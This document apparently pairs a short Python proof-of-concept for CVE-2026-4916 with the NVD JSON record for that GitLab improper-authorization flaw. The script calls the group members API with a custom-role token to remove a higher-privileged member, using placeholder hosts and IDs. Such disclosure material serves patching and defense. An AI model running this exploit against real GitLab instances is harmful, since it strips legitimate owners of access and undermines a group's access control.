CVE-2026-4916

import requests # PoC for CVE-2026-4916: GitLab Privilege Escalation via Improper Authorization # Attacker needs valid authentication token and specific custom role permissions. TARGET_URL = "https://gitlab.example.com" GROUP_ID = "123" VICTIM_USER_ID = "456" # Target user with higher privilege (e.g., Owner/Maintainer) ATTACKER_TOKEN = "glpat-xxxxxxxxxxxx" # Attacker's token with Custom Role headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Attempt to remove the higher-privileged member # API endpoint: DELETE /groups/:id/members/:user_id endpoint = f"{TARGET_URL}/api/v4/groups/{GROUP_ID}/members/{VICTIM_USER_ID}" print(f"[*] Attempting to remove user {VICTIM_USER_ID} from group {GROUP_ID}...") response = requests.delete(endpoint, headers=headers) if response.status_code == 204: print("[+] Success! Higher-privileged member removed via CVE-2026-4916.") elif response.status_code == 403: print("[-] Failed. Permission denied (Not vulnerable or permissions insufficient).") else: print(f"[-] Unexpected status code: {response.status_code}") print(response.text)

{"cve": {"id": "CVE-2026-4916", "sourceIdentifier": "[email protected]", "published": "2026-04-08T23:17:00.053", "lastModified": "2026-04-16T12:59:19.163", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.2 before 18.8.9, 18.9 before 18.9.5, and 18.10 before 18.10.3 that could have allowed an authenticated user with custom role permissions to demote or remove higher-privileged group members due to improper authorization checks on member management operations."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.2.0", "versionEndExcluding": "18.8.9", "matchCriteriaId": "CFAD5EB0-9700-4C16-AEF0-27599F84541F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.9.0", "versionEndExcluding": "18.9.5", "matchCriteriaId": "3BA6A89D-D2C1-45B9-A8E8-64256816D880"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.10.0", "versionEndExcluding": "18.10.3", "matchCriteriaId": "BB2F3665-2451-4A4D-8538-93F540975F0E"}]}]}, {"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.2.0", "versionEndExcluding": "18.8.9", "matchCriteriaId": "6E8B1FB2-AA24-4447-8403-F082B4DCA62A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.9.0", "versionEndExcluding": "18.9.5", "matchCriteriaId": "5C4D8A99-6E70-4D55-9ACF-FF2620F070E0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.10.0", "versionEndExcluding": "18.10.3", "matchCriteriaId": "DBCB346F-0B28-458B-A453-29DA4B0E91FC"}]}]}], "references": [{"url": "https://about.gitlab.com/releases/2026/04/08/patch-release-gitlab-18-10-3-released/", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/work_items/565414", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://hackerone.com/reports/3301240", "source": "[email protected]", "tags": ["Permissions Required"]}]}}